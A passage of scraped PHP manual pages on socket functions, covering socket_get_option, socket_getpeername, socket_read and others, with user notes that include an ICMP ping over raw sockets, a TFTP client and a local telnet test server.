     $packet .= chr(0); // checksum init
     $packet .= chr(0); // checksum init

        $packet .= chr($ident[0]); // identifier
        $packet .= chr($ident[1]); // identifier

        $packet .= chr($seq[0]); // seq
        $packet .= chr($seq[1]); // seq

        for ($i = 0; $i < $datasize; $i++)
                $packet .= chr(0);

        $chk = icmpChecksum($packet);

        $packet[2] = $chk[0]; // checksum init
        $packet[3] = $chk[1]; // checksum init

        $sock = socket_create(AF_INET, SOCK_RAW,  getprotobyname('icmp'));
        $time_start = microtime();
    socket_sendto($sock, $packet, strlen($packet), 0, $host, $port);

    $read   = array($sock);
        $write  = NULL;
        $except = NULL;

        $select = socket_select($read, $write, $except, 0, $timeout * 1000);
        if ($select === NULL)
        {
                $g_icmp_error = "Select Error";
                socket_close($sock);
                return -1;
        }
        elseif ($select === 0)
        {
                $g_icmp_error = "Timeout";
                socket_close($sock);
                return -1;
        }

    $recv = '';
    $time_stop = microtime();
    socket_recvfrom($sock, $recv, 65535, 0, $host, $port);
        $recv = unpack('C*', $recv);

        if ($recv[10] !== 1) // ICMP proto = 1
        {
                $g_icmp_error = "Not ICMP packet";
                socket_close($sock);
                return -1;
        }

        if ($recv[21] !== 0) // ICMP response = 0
        {
                $g_icmp_error = "Not ICMP response";
                socket_close($sock);
                return -1;
        }

        if ($ident[0] !== $recv[25] || $ident[1] !== $recv[26])
        {
                $g_icmp_error = "Bad identification number";
                socket_close($sock);
                return -1;
        }

        if ($seq[0] !== $recv[27] || $seq[1] !== $recv[28])
        {
                $g_icmp_error = "Bad sequence number";
                socket_close($sock);
                return -1;
        }

        $ms = ($time_stop - $time_start) * 1000;

        if ($ms < 0)
        {
                $g_icmp_error = "Response too long";
                $ms = -1;
        }

        socket_close($sock);

        return $ms;
}

function icmpChecksum($data)
{
        $bit = unpack('n*', $data);
        $sum = array_sum($bit);

        if (strlen($data) % 2) {
                $temp = unpack('C*', $data[strlen($data) - 1]);
                $sum += $temp[1];
        }

        $sum = ($sum >> 16) + ($sum & 0xffff);
        $sum += ($sum >> 16);

        return pack('n*', ~$sum);
}

function getLastIcmpError()
{
        global $g_icmp_error;
        return $g_icmp_error;
}
/// end ping.inc.php ///
?>
jens at surefoot dot com 08-Aug-2006 02:46
Please be aware that RAW sockets (as used for the ping example) are restricted to root accounts on *nix systems. Since web servers hardly ever run as root, they won't work on webpages.

On Windows based servers it should work regardless.
06-Jan-2006 11:36
Here's a ping function that uses sockets instead of exec().  Note: I was unable to get socket_create() to work without running from CLI as root.  I've already calculated the package's checksum to simplify the code (the message is 'ping' but it doesn't actually matter).

<?php

function ping($host) {
    $package = "\x08\x00\x19\x2f\x00\x00\x00\x00\x70\x69\x6e\x67";

    /* create the socket, the last '1' denotes ICMP */
    $socket = socket_create(AF_INET, SOCK_RAW, 1);

    /* set socket receive timeout to 1 second */
    socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 1, "usec" => 0));

    /* connect to socket */
    socket_connect($socket, $host, null);

    /* record start time */
    list($start_usec, $start_sec) = explode(" ", microtime());
    $start_time = ((float) $start_usec + (float) $start_sec);

    socket_send($socket, $package, strlen($package), 0);

    if(@socket_read($socket, 255)) {
        list($end_usec, $end_sec) = explode(" ", microtime());
        $end_time = ((float) $end_usec + (float) $end_sec);

        $total_time = $end_time - $start_time;

        return $total_time;
    } else {
        return false;
    }

    socket_close($socket);
}

?>
kyle gibson 29-Oct-2005 02:48
Took me about 20 minutes to figure out the proper arguments to supply for a AF_UNIX socket. Anything else, and I would get a PHP warning about the 'type' not being supported. I hope this saves someone else time.

<?php
$socket = socket_create(AF_UNIX, SOCK_STREAM, 0);
// code
?>
david at eder dot us 25-Jan-2005 08:42
Sometimes when you are running CLI, you need to know your own ip address.

<?php

  $addr = my_ip();
  echo "my ip address is $addr\n";

  function my_ip($dest='64.0.0.0', $port=80)
  {
    $socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
    socket_connect($socket, $dest, $port);
    socket_getsockname($socket, $addr, $port);
    socket_close($socket);
    return $addr;
  }
?>
david at eder dot us 08-Jun-2004 05:07
Seems there aren't any examples of UDP clients out there.  This is a tftp client.  I hope this makes someone's life easier.

<?php
  function tftp_fetch($host, $filename)
  {
    $socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);

    // create the request packet
    $packet = chr(0) . chr(1) . $filename . chr(0) . 'octet' . chr(0);
    // UDP is connectionless, so we just send on it.
    socket_sendto($socket, $packet, strlen($packet), 0x100, $host, 69);

    $buffer = '';
    $port = '';
    $ret = '';
    do
    {
      // $buffer and $port both come back with information for the ack
      // 516 = 4 bytes for the header + 512 bytes of data
      socket_recvfrom($socket, $buffer, 516, 0, $host, $port);

      // add the block number from the data packet to the ack packet
      $packet = chr(0) . chr(4) . substr($buffer, 2, 2);
      // send ack
      socket_sendto($socket, $packet, strlen($packet), 0, $host, $port);

      // append the data to the return variable
      // for large files this function should take a file handle as an arg
      $ret .= substr($buffer, 4);
    }
    while(strlen($buffer) == 516);  // the first non-full packet is the last.
    return $ret;
  }
?>
evan at coeus hyphen group dot com 15-Feb-2002 03:33
Okay I talked with Richard a little (via e-mail). We agree that getprotobyname() and using the constants should be the same in functionality and speed, the use of one or the other is merely coding style. Personally, we both think the constants are prettier :).

The eight different protocols are the ones implemented in PHP- not the total number in existance (RFC 1340 has 98).

All we disagree on is using 0- Richard says that "accordning to the official unix/bsd sockets 0 is more than fine." I think that since 0 is a reserved number according to RFC 1320, and when used usually refers to IP, not one of it's sub-protocols (TCP, UDP, etc.)


Gets socket options for the socket

  • « socket_create
  • socket_getpeername »
  • PHP Manual
  • Socket Functions
  • Gets socket options for the socket

socket_get_option

(PHP 4 >= 4.3.0, PHP 5)

socket_get_option — Gets socket options for the socket

Description

mixed socket_get_option ( resource $socket , int $level , int $optname )

The socket_get_option() function retrieves the value for the option specified by the optname parameter for the specified socket.

Parameters

socket

A valid socket resource created with socket_create() or socket_accept().

level

The level parameter specifies the protocol level at which the option resides. For example, to retrieve options at the socket level, a level parameter of SOL_SOCKET would be used. Other levels, such as TCP, can be used by specifying the protocol number of that level. Protocol numbers can be found by using the getprotobyname() function.

optname
Available Socket Options
Option | Description | Type
SO_DEBUG | Reports whether debugging information is being recorded. | int
SO_BROADCAST | Reports whether transmission of broadcast messages is supported. | int
SO_REUSEADDR | Reports whether local addresses can be reused. | int
SO_KEEPALIVE | Reports whether connections are kept active with periodic transmission of messages. If the connected socket fails to respond to these messages, the connection is broken and processes writing to that socket are notified with a SIGPIPE signal. | int
SO_LINGER

Reports whether the socket lingers on socket_close() if data is present. By default, when the socket is closed, it attempts to send all unsent data. In the case of a connection-oriented socket, socket_close() will wait for its peer to acknowledge the data.

If l_onoff is non-zero and l_linger is zero, all the unsent data will be discarded and RST (reset) is sent to the peer in the case of a connection-oriented socket.

On the other hand, if l_onoff is non-zero and l_linger is non-zero, socket_close() will block until all the data is sent or the time specified in l_linger elapses. If the socket is non-blocking, socket_close() will fail and return an error.

array. The array will contain two keys: l_onoff and l_linger.
SO_OOBINLINE | Reports whether the socket leaves out-of-band data inline. | int
SO_SNDBUF | Reports the size of the send buffer. | int
SO_RCVBUF | Reports the size of the receive buffer. | int
SO_ERROR | Reports information about error status and clears it. | int (cannot be set by socket_set_option())
SO_TYPE | Reports the socket type (e.g. SOCK_STREAM). | int (cannot be set by socket_set_option())
SO_DONTROUTE | Reports whether outgoing messages bypass the standard routing facilities. | int
SO_RCVLOWAT | Reports the minimum number of bytes to process for socket input operations. | int
SO_RCVTIMEO | Reports the timeout value for input operations. | array. The array will contain two keys: sec which is the seconds part on the timeout value and usec which is the microsecond part of the timeout value.
SO_SNDTIMEO | Reports the timeout value specifying the amount of time that an output function blocks because flow control prevents data from being sent. | array. The array will contain two keys: sec which is the seconds part on the timeout value and usec which is the microsecond part of the timeout value.
SO_SNDLOWAT | Reports the minimum number of bytes to process for socket output operations. | int
TCP_NODELAY | Reports whether the Nagle TCP algorithm is disabled. | int
MCAST_JOIN_GROUP | Joins a multicast group. (added in PHP 5.4) | array with keys "group", specifying a string with an IPv4 or IPv6 multicast address and "interface", specifying either an interface number (type int) or a string with the interface name, like "eth0". 0 can be specified to indicate the interface should be selected using routing rules. (can only be used in socket_set_option())
MCAST_LEAVE_GROUP | Leaves a multicast group. (added in PHP 5.4) | array. See MCAST_JOIN_GROUP for more information. (can only be used in socket_set_option())
MCAST_BLOCK_SOURCE | Blocks packets arriving from a specific source to a specific multicast group, which must have been previously joined. (added in PHP 5.4) | array with the same keys as MCAST_JOIN_GROUP, plus one extra key, source, which maps to a string specifying an IPv4 or IPv6 address of the source to be blocked. (can only be used in socket_set_option())
MCAST_UNBLOCK_SOURCE | Unblocks (start receiving again) packets arriving from a specific source address to a specific multicast group, which must have been previously joined. (added in PHP 5.4) | array with the same format as MCAST_BLOCK_SOURCE. (can only be used in socket_set_option())
MCAST_JOIN_SOURCE_GROUP | Receive packets destined to a specific multicast group whose source address matches a specific value. (added in PHP 5.4) | array with the same format as MCAST_BLOCK_SOURCE. (can only be used in socket_set_option())
MCAST_LEAVE_SOURCE_GROUP | Stop receiving packets destined to a specific multicast group whose soure address matches a specific value. (added in PHP 5.4) | array with the same format as MCAST_BLOCK_SOURCE. (can only be used in socket_set_option())
IP_MULTICAST_IF | The outgoing interface for IPv4 multicast packets. (added in PHP 5.4) | Either int specifying the interface number or a string with an interface name, like eth0. The value 0 can be used to indicate the routing table is to used in the interface selection. The function socket_get_option() returns an interface index. Note that, unlike the C API, this option does NOT take an IP address. This eliminates the interface difference between IP_MULTICAST_IF and IPV6_MULTICAST_IF.
IPV6_MULTICAST_IF | The outgoing interface for IPv6 multicast packets. (added in PHP 5.4) | The same as IP_MULTICAST_IF.
IP_MULTICAST_LOOP | The multicast loopback policy for IPv4 packets, which determines whether multicast packets sent by this socket also reach receivers in the same host that have joined the same multicast group on the outgoing interface used by this socket. This is the case by default. (added in PHP 5.4) | int (either 0 or 1). For socket_set_option() any value will be accepted and will be converted to a boolean following the usual PHP rules.
IPV6_MULTICAST_LOOP | Analogous to IP_MULTICAST_LOOP, but for IPv6. (added in PHP 5.4) | int. See IP_MULTICAST_LOOP.
IP_MULTICAST_TTL | The time-to-live of outgoing IPv4 multicast packets. This should be a value between 0 (don't leave the interface) and 255. The default value is 1 (only the local network is reached). (added in PHP 5.4) | int between 0 and 255.
IPV6_MULTICAST_HOPS | Analogous to IP_MULTICAST_TTL, but for IPv6 packets. The value -1 is also accepted, meaning the route default should be used. (added in PHP 5.4) | int between -1 and 255.

Return Values

Returns the value of the given option, or FALSE on errors.

Examples

Example #1 socket_set_option() example

<?php
$socket = socket_create_listen(1223);

$linger = array('l_linger' => 1, 'l_onoff' => 1);
socket_set_option($socket, SOL_SOCKET, SO_LINGER, $linger);

var_dump(socket_get_option($socket, SOL_SOCKET, SO_REUSEADDR));
?>

User Contributed Notes

prennings at gmail dot com 09-Mar-2014 05:08
I was playing around with this option to use multiply socket connections with same hostname and same port (IRC). However the socket function needed for this is SO_REUSEPORT.

Though the majority of linux distro's does not have that yet officially implented in there distro's.

However for debian there is an patch that can be installed to get it working:

https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=c617f398edd4db2b8567a28e899a88f8f574798d

it has some work but I got it working after a while (Noobie in debian) maybe some other people are facing the same problem as I was.
Chad Lavoie 13-Dec-2010 09:52
If using Unix Sockets, and you want to use SO_PEERCRED, you can use the number 17 for the optname (and SOL_SOCKET for the level).  The PID of the connecting process will be returned.
recycling dot sp dot am at gmail dot com 14-Sep-2010 02:31
Just 2 notes here:
- On UNIX, If SO_DEBUG is set, the php program needs an effective user id of 0.
-  activating SO_OOBINLINE on a socket is equivalent to passing MSG_OOB flag to each recieving functions used with that socket (eg: socket_recv, socket_recvfrom).


Queries the remote side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type

  • « socket_get_option
  • socket_getsockname »
  • PHP Manual
  • Socket Functions
  • Queries the remote side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type

socket_getpeername

(PHP 4 >= 4.1.0, PHP 5)

socket_getpeername — Queries the remote side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type

Description

bool socket_getpeername ( resource $socket , string &$address [, int &$port ] )

Queries the remote side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type.

Parameters

socket

A valid socket resource created with socket_create() or socket_accept().

address

If the given socket is of type AF_INET or AF_INET6, socket_getpeername() will return the peers (remote) IP address in appropriate notation (e.g. 127.0.0.1 or fe80::1) in the address parameter and, if the optional port parameter is present, also the associated port.

If the given socket is of type AF_UNIX, socket_getpeername() will return the Unix filesystem path (e.g. /var/run/daemon.sock) in the address parameter.

port

If given, this will hold the port associated to address.

Return Values

Returns TRUE on success or FALSE on failure. socket_getpeername() may also return FALSE if the socket type is not any of AF_INET, AF_INET6, or AF_UNIX, in which case the last socket error code is not updated.

Notes

Note:

socket_getpeername() should not be used with AF_UNIX sockets created with socket_accept(). Only sockets created with socket_connect() or a primary server socket following a call to socket_bind() will return meaningful values.

Note:

For having socket_getpeername() to return a meaningful value, the socket it is applied upon must of course be one for which the concept of "peer" makes sense.

See Also

  • socket_getsockname() - Queries the local side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type
  • socket_last_error() - Returns the last error on the socket
  • socket_strerror() - Return a string describing a socket error

User Contributed Notes

redph0enix at hotmail dot com 10-Sep-2003 05:57
socket_getpeername will not work for UDP sockets. Instead, use socket_recvfrom - it provides the IP address and port of the source server - eg:

$size=socket_recvfrom($socket,$input,65535,0,$ipaddress,$port);
echo "Received [$input] ($size bytes) from IP $ipaddress Port $port\n";


Queries the local side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type

  • « socket_getpeername
  • socket_import_stream »
  • PHP Manual
  • Socket Functions
  • Queries the local side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type

socket_getsockname

(PHP 4 >= 4.1.0, PHP 5)

socket_getsockname — Queries the local side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type

Description

bool socket_getsockname ( resource $socket , string &$addr [, int &$port ] )

Note: socket_getsockname() should not be used with AF_UNIX sockets created with socket_connect(). Only sockets created with socket_accept() or a primary server socket following a call to socket_bind() will return meaningful values.

Parameters

socket

A valid socket resource created with socket_create() or socket_accept().

addr

If the given socket is of type AF_INET or AF_INET6, socket_getsockname() will return the local IP address in appropriate notation (e.g. 127.0.0.1 or fe80::1) in the address parameter and, if the optional port parameter is present, also the associated port.

If the given socket is of type AF_UNIX, socket_getsockname() will return the Unix filesystem path (e.g. /var/run/daemon.sock) in the address parameter.

port

If provided, this will hold the associated port.

Return Values

Returns TRUE on success or FALSE on failure. socket_getsockname() may also return FALSE if the socket type is not any of AF_INET, AF_INET6, or AF_UNIX, in which case the last socket error code is not updated.

See Also

  • socket_getpeername() - Queries the remote side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type
  • socket_last_error() - Returns the last error on the socket
  • socket_strerror() - Return a string describing a socket error

User Contributed Notes

CXJ 18-Sep-2014 04:28
Curiously, getsockname() works for socket_create() and socket_create_pair() Unix-domain (AF_UNIX) sockets if one calls socket_bind() after creation to name the formerly anonymous socket(s).

Using a socket_bind() call also results in a file system "file" (socket, first character 's' in an "ls -l" listing) being created with the given name.  Such a "file" will need to be removed explicitly, as closing the socket will not remove it.
not at valid dot com 13-Oct-2007 09:35
Just a quick note:
I found socket_getsockname() is not IPv6 compatible or may just return some unexpected results?

<?php
Simple Code Example:

$socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
    socket_bind($socket,'0.0.0.0',150);

socket_getsockname($socket, $IP, $PORT);

print $IP.":".$PORT."\n";

?>

This does not print $IP 127.0.0.1 or 192.168.1.1 or even 0.0.0.0 ... etc ... like you would expect ... in my case I receive 10.0.0.0 witch is not a valid port on my system using IPv5 and IPv6! Thus you should rely on using the initial values of socket_bind() to get the local address.

Hope this helps...


Import a stream

  • « socket_getsockname
  • socket_last_error »
  • PHP Manual
  • Socket Functions
  • Import a stream

socket_import_stream

(PHP 5 >= 5.4.0)

socket_import_stream — Import a stream

Description

resource socket_import_stream ( resource $stream )

Imports a stream that encapsulates a socket into a socket extension resource.

Parameters

stream

The stream resource to import.

Return Values

Returns FALSE or NULL on failure.

Examples

Example #1 socket_import_stream() example

<?php
$stream = stream_socket_server("udp://0.0.0.0:58380", $errno, $errstr, STREAM_SERVER_BIND);
$sock   = socket_import_stream($stream);
?>

See Also

  • stream_socket_server() - Create an Internet or Unix domain server socket

User Contributed Notes

ryan dot yoosefi at gmail dot com 14-Oct-2014 01:55
Note: This is only for raw socket access, receiving and sending does not honor things like encryption.

As of 5.4, 5.5, and 5.6, the only methods that use the stream-aspect are:
- socket_close
- socket_set_block
- socket_set_nonblock

The rest are performed directly on the stream's underlying socket.


Returns the last error on the socket

  • « socket_import_stream
  • socket_listen »
  • PHP Manual
  • Socket Functions
  • Returns the last error on the socket

socket_last_error

(PHP 4 >= 4.1.0, PHP 5)

socket_last_error — Returns the last error on the socket

Description

int socket_last_error ([ resource $socket ] )

If a socket resource is passed to this function, the last error which occurred on this particular socket is returned. If the socket resource is omitted, the error code of the last failed socket function is returned. The latter is particularly helpful for functions like socket_create() which don't return a socket on failure and socket_select() which can fail for reasons not directly tied to a particular socket. The error code is suitable to be fed to socket_strerror() which returns a string describing the given error code.

Parameters

socket

A valid socket resource created with socket_create().

Return Values

This function returns a socket error code.

Examples

Example #1 socket_last_error() example

<?php
$socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if ($socket === false) {
    $errorcode = socket_last_error();
    $errormsg = socket_strerror($errorcode);

    die("Couldn't create socket: [$errorcode] $errormsg");
}
?>

Notes

Note:

socket_last_error() does not clear the error code, use socket_clear_error() for this purpose.

User Contributed Notes

ca at php dot spamtrak dot org 15-Dec-2009 11:33
This is a bit long, but personally I prefer to use the standard C defines in my code.

<?php

define('ENOTSOCK',      88);    /* Socket operation on non-socket */
define('EDESTADDRREQ',  89);    /* Destination address required */
define('EMSGSIZE',      90);    /* Message too long */
define('EPROTOTYPE',    91);    /* Protocol wrong type for socket */
define('ENOPROTOOPT',   92);    /* Protocol not available */
define('EPROTONOSUPPORT', 93);  /* Protocol not supported */
define('ESOCKTNOSUPPORT', 94);  /* Socket type not supported */
define('EOPNOTSUPP',    95);    /* Operation not supported on transport endpoint */
define('EPFNOSUPPORT',  96);    /* Protocol family not supported */
define('EAFNOSUPPORT',  97);    /* Address family not supported by protocol */
define('EADDRINUSE',    98);    /* Address already in use */
define('EADDRNOTAVAIL', 99);    /* Cannot assign requested address */
define('ENETDOWN',      100);   /* Network is down */
define('ENETUNREACH',   101);   /* Network is unreachable */
define('ENETRESET',     102);   /* Network dropped connection because of reset */
define('ECONNABORTED',  103);   /* Software caused connection abort */
define('ECONNRESET',    104);   /* Connection reset by peer */
define('ENOBUFS',       105);   /* No buffer space available */
define('EISCONN',       106);   /* Transport endpoint is already connected */
define('ENOTCONN',      107);   /* Transport endpoint is not connected */
define('ESHUTDOWN',     108);   /* Cannot send after transport endpoint shutdown */
define('ETOOMANYREFS',  109);   /* Too many references: cannot splice */
define('ETIMEDOUT',     110);   /* Connection timed out */
define('ECONNREFUSED',  111);   /* Connection refused */
define('EHOSTDOWN',     112);   /* Host is down */
define('EHOSTUNREACH',  113);   /* No route to host */
define('EALREADY',      114);   /* Operation already in progress */
define('EINPROGRESS',   115);   /* Operation now in progress */
define('EREMOTEIO',     121);   /* Remote I/O error */
define('ECANCELED',     125);   /* Operation Canceled */
?>


Listens for a connection on a socket

  • « socket_last_error
  • socket_read »
  • PHP Manual
  • Socket Functions
  • Listens for a connection on a socket

socket_listen

(PHP 4 >= 4.1.0, PHP 5)

socket_listen — Listens for a connection on a socket

Description

bool socket_listen ( resource $socket [, int $backlog = 0 ] )

After the socket socket has been created using socket_create() and bound to a name with socket_bind(), it may be told to listen for incoming connections on socket.

socket_listen() is applicable only to sockets of type SOCK_STREAM or SOCK_SEQPACKET.

Parameters

socket

A valid socket resource created with socket_create().

backlog

A maximum of backlog incoming connections will be queued for processing. If a connection request arrives with the queue full the client may receive an error with an indication of ECONNREFUSED, or, if the underlying protocol supports retransmission, the request may be ignored so that retries may succeed.

Note:

The maximum number passed to the backlog parameter highly depends on the underlying platform. On Linux, it is silently truncated to SOMAXCONN. On win32, if passed SOMAXCONN, the underlying service provider responsible for the socket will set the backlog to a maximum reasonable value. There is no standard provision to find out the actual backlog value on this platform.

Return Values

Returns TRUE on success or FALSE on failure. The error code can be retrieved with socket_last_error(). This code may be passed to socket_strerror() to get a textual explanation of the error.

See Also

  • socket_accept() - Accepts a connection on a socket
  • socket_bind() - Binds a name to a socket
  • socket_connect() - Initiates a connection on a socket
  • socket_create() - Create a socket (endpoint for communication)
  • socket_strerror() - Return a string describing a socket error

User Contributed Notes

Karuna Govind (karuna.kgx gmail) 16-Jul-2008 01:10
To change the maximum allowed backlog by your system (*nix machines only), first you need to find the variable for this limit:

sudo sysctl -a | grep somaxconn

On ubuntu boxes, it returns net.core.somaxconn (you need to look for the 'somaxconn' variable, the full name will vary across different systems).

Update this to a large number as follows:

sudo sysctl -w net.core.somaxconn=1024

This will work straight away. no restart required.


Reads a maximum of length bytes from a socket

  • « socket_listen
  • socket_recv »
  • PHP Manual
  • Socket Functions
  • Reads a maximum of length bytes from a socket

socket_read

(PHP 4 >= 4.1.0, PHP 5)

socket_read — Reads a maximum of length bytes from a socket

Description

string socket_read ( resource $socket , int $length [, int $type = PHP_BINARY_READ ] )

The function socket_read() reads from the socket resource socket created by the socket_create() or socket_accept() functions.

Parameters

socket

A valid socket resource created with socket_create() or socket_accept().

length

The maximum number of bytes read is specified by the length parameter. Otherwise you can use \r, \n, or \0 to end reading (depending on the type parameter, see below).

type

Optional type parameter is a named constant:

  • PHP_BINARY_READ (Default) - use the system recv() function. Safe for reading binary data.
  • PHP_NORMAL_READ - reading stops at \n or \r.

Return Values

socket_read() returns the data as a string on success, or FALSE on error (including if the remote host has closed the connection). The error code can be retrieved with socket_last_error(). This code may be passed to socket_strerror() to get a textual representation of the error.

Note:

socket_read() returns a zero length string ("") when there is no more data to read.

See Also

  • socket_accept() - Accepts a connection on a socket
  • socket_bind() - Binds a name to a socket
  • socket_connect() - Initiates a connection on a socket
  • socket_listen() - Listens for a connection on a socket
  • socket_last_error() - Returns the last error on the socket
  • socket_strerror() - Return a string describing a socket error
  • socket_write() - Write to a socket

User Contributed Notes

cottton at i-stats dot net 13-Oct-2014 06:39
quote:
"Note:
socket_read() returns a zero length string ("") when there is no more data to read."

This is not true!

In a while loop
(example case few bytes to receive - just enough for 1 call, but you use a loop to be sure you received all data)
if you use
<? socket_set_block($socket); ?>
you will get:
1st call in loop: data
2nd call in loop: a block forever, if there isnt data anymore or w/e happen to the "other side"

So ofc you want to use
<? socket_set_nonblock($socket); ?>
and you will get:
1st call in loop: data
2nd call in loop: socket_read() returns FALSE (bool) and socket_last_error() gives you a SOCKET_EWOULDBLOCK (http://de1.php.net/manual/de/sockets.constants.php)

There is not a single time i got a empty string back from socket_read.
And im "working" on this problem(bug?) since a week or so.

You better use socket_recv() instead.
(good luck)
eng.mrkto.com 29-Mar-2011 01:42
It seems like in socket_* functions in BLOCKING mode where is no way to check if more than $length bytes are still available in socket (like stream_get_meta_data()['unread_bytes']).
So you need to choose your prefered maximum $length (like 133693415:) or use non-blocking mode (for realy big data reciving).
t33th4n at gmail dot com 23-Feb-2009 09:53
I don't know if is it stated anywhere with this clearance, but here is the source code for detecting the connection abort/closure for sockets testing with socket_read function:

<?php
$buf = @socket_read($routes[$i][$connectionid]['tunnelsrc'], $buffer_size);
if ($buf === '')
{
    $routes[$i][$connectionid]['disconnected']='Conenction abort at source side';
}
?>

($buf === '') is the key :)

I was making an ecrypted tunnel script with mcrypt and was annoying that i could not detect the connection abort from any side.
tech [{at}] swatcash [{dot}] com 02-Jul-2008 01:23
Messed up the end of my previous one. Corrected version here:

a simple work around to non-blocking working with normal read is like so:

$read = array($socket);
$write  = NULL;
$except = NULL;
while(1) {
    $num_changed_sockets = socket_select($read, $write, $except, 0, 1);
    if ( $num_changed_sockets > '0' ) {
        socket_read($socket,10000,PHP_NORMAL_READ);
    }
}
Anonymous 15-Dec-2007 08:11
On non-blocking connections it may not return full length requested.
nad0r1 at hush dot ai 20-Nov-2007 04:59
Another way to bypass the annoying thing with telnet, that send each character as a string ,is to check if the response is "\r\n", that is the string that telnet sends when the user presses enter.

Here is an example:
<?php
error_reporting(E_ALL);

/* Allow the script to hang around waiting for connections. */
set_time_limit(0);

/* Turn on implicit output flushing so we see what we're getting
 * as it comes in. */
ob_implicit_flush();

$address = '127.0.0.1';
$port = 100;

if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
    echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
}

if (socket_bind($sock, $address, $port) === false) {
    echo "socket_bind() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
}
else
  echo 'Socket ' . $address . ':' . $port . " has been opened\n";

if (socket_listen($sock, 5) === false) {
    echo "socket_listen() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
}
else
   echo "Listening for new clients..\n";

   $client_id = 0;
do {
    if (($msgsock = socket_accept($sock)) === false) {
        echo "socket_accept() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
        break;
    }
    else {
        $client_id += 1;
      echo "Client #" .$client_id .": Connect\n";
    }

    /* Send instructions. */
    $msg = "\nWelcome to the PHP Test Server. \n" .
        "To quit, type 'quit'. To shut down the server type 'shutdown'.\n";
    socket_write($msgsock, $msg, strlen($msg));
$cur_buf = '';
    do {
        if (false === ($buf = socket_read($msgsock, 2048))) {
            echo "socket_read() failed: reason: " . socket_strerror(socket_last_error($msgsock)) . "\n";
            break 2;
        }
        if ($buf == "\r\n") {
        if ($cur_buf == 'quit') {
            echo 'Client #' .$client_id .': Disconnect' . "\n";
            break;
        }
        if ($cur_buf == 'shutdown') {
            socket_close($msgsock);
            break 2;
        }
        //else {
       $talkback = "Unknown command: " . str_replace("\r\n", '\r\n', $cur_buf) ."\n";
       socket_write($msgsock, $talkback, strlen($talkback));
       // }
        echo 'Client #' .$client_id .': ' . $cur_buf . "\n";
        $cur_buf = '';
        }
        else $cur_buf .= $buf;
    } while (true);
    socket_close($msgsock);
} while (true);

socket_close($sock);
?>
jgbustos at gmail dot com 17-Jul-2007 02:47
PHP on win32 developers, please look at this bug report before using the PHP_NORMAL_READ option:

http://bugs.php.net/bug.php?id=21197

In a nutshell, using PHP_NORMAL_READ will make your calls to socket_read() return an empty buffer every time.
ein at anti-logic dot com 28-Jun-2007 08:32
the proper way to detect a closed connection is to check socket_last_error.

Connection reset by peer is 104 (either use socket_strerror or don't suppress errors for the time being to find these out), sooo.

while($buffer=@socket_read($sock,512,PHP_NORMAL_READ)){
    echo $buffer;
}
if(socket_last_error($sock) == 104) {
    echo "Connection closed";
}
nuitari-php at nuitari dot net 14-Jun-2007 08:08
PHP_NORMAL_READ - reading stops at \n or \r.

This seems to be meant literally.
If there is a \r, then it will stop reading, even if there is a \n right after it. You have to call the read again just to get rid of the \n.
dotpointer 05-Feb-2007 12:27
PHP 5.2.0 / Win32 / Apache 1.3 - It seems like...

PHP_BINARY_READ - works, but returns '', not FALSE...
- is blocking, until data received or connection closed
- does pass-through \r\n etc.
- returns data on data, '' on connection closed
- you can detect closed connection by checking for '' (not FALSE as stated i manual)

PHP_NORMAL_READ - not working so good...
- is non-blocking
- does not pass-through \r\n etc.
- returns false on no-data, false on connection closed :(
- (no way here to detect a closed connection...?)
- (is this a bug? http://bugs.php.net/bug.php?id=21880 )
- (is this a bug? http://bugs.php.net/bug.php?id=21197 )
- (could not get data from this option at all in fact...)

PHP_BINARY_READ seems to be the "right way to go"
for now. Both checking for '' and false to detect closed
connection is probably smart, as this "bug"(?) may
be fixed...
Niels laukens 21-Aug-2006 09:34
This paragraph is confusing:

socket_read() returns the data as a string on success, or FALSE on error (including if the remote host has closed the connection). The error code can be retrieved with socket_last_error(). This code may be passed to socket_strerror() to get a textual representation of the error.
Note: socket_read() returns a zero length string ("") when there is no more data to read.

My tests (on PHP 5.1.4) show that when you socket_read() on a shutdown-socket, it returns FALSE when using PHP_NORMAL_READ, but returns "" when reading in PHP_BINARY_READ.
Bill Kuker 18-Mar-2005 04:31
Just a note that on my system the length seems to have an undocumented upper bound of 65536. I was being lazy and not read()ing in a while loop until I pointed it at real data ;)
michi at tr51 dot org 26-May-2004 09:48
if you'd like to make a "socket_read" on a linux-system connected with a flash-client (v. 6.0 r81) you have to send a string to the connected port:

<?php

   ...  //initialising communication

    $string = "ready to get/send data\0";
    socket_write($socket, $string);

    //now you can read from...
    $line = trim(socket_read($socket, MAXLINE));

    ...  // do some stuff, finaly close connection
?>
magicking89 at hotmail dot com 31-Aug-2003 01:01
if you want to use a non block socket you must to use socket_last_error

if(!socket_last_error($sc)){
   if($buffer=socket_read($sc,512,PHP_NORMAL_READ)){
      echo $buffer;
   }
}

if you use it your script wont take all your memory
schst at php-tools dot de 05-Jul-2003 03:19
You may download a generic server class at http://www.php-tools.de
This class will accept the sockets read data from it and hands it to a callback function. Furthermore there are methods for connection handling included.
24-Sep-2002 08:48
Windows telnet sends/recieves one character at a time. Try adding PHP_NORMAL_READ to the end of socket_read, that might help.


Receives data from a connected socket

  • « socket_read
  • socket_recvfrom »
  • PHP Manual
  • Socket Functions
  • Receives data from a connected socket

socket_recv

(PHP 4 >= 4.1.0, PHP 5)

socket_recv — Receives data from a connected socket

Description

int socket_recv ( resource $socket , string &$buf , int $len , int $flags )

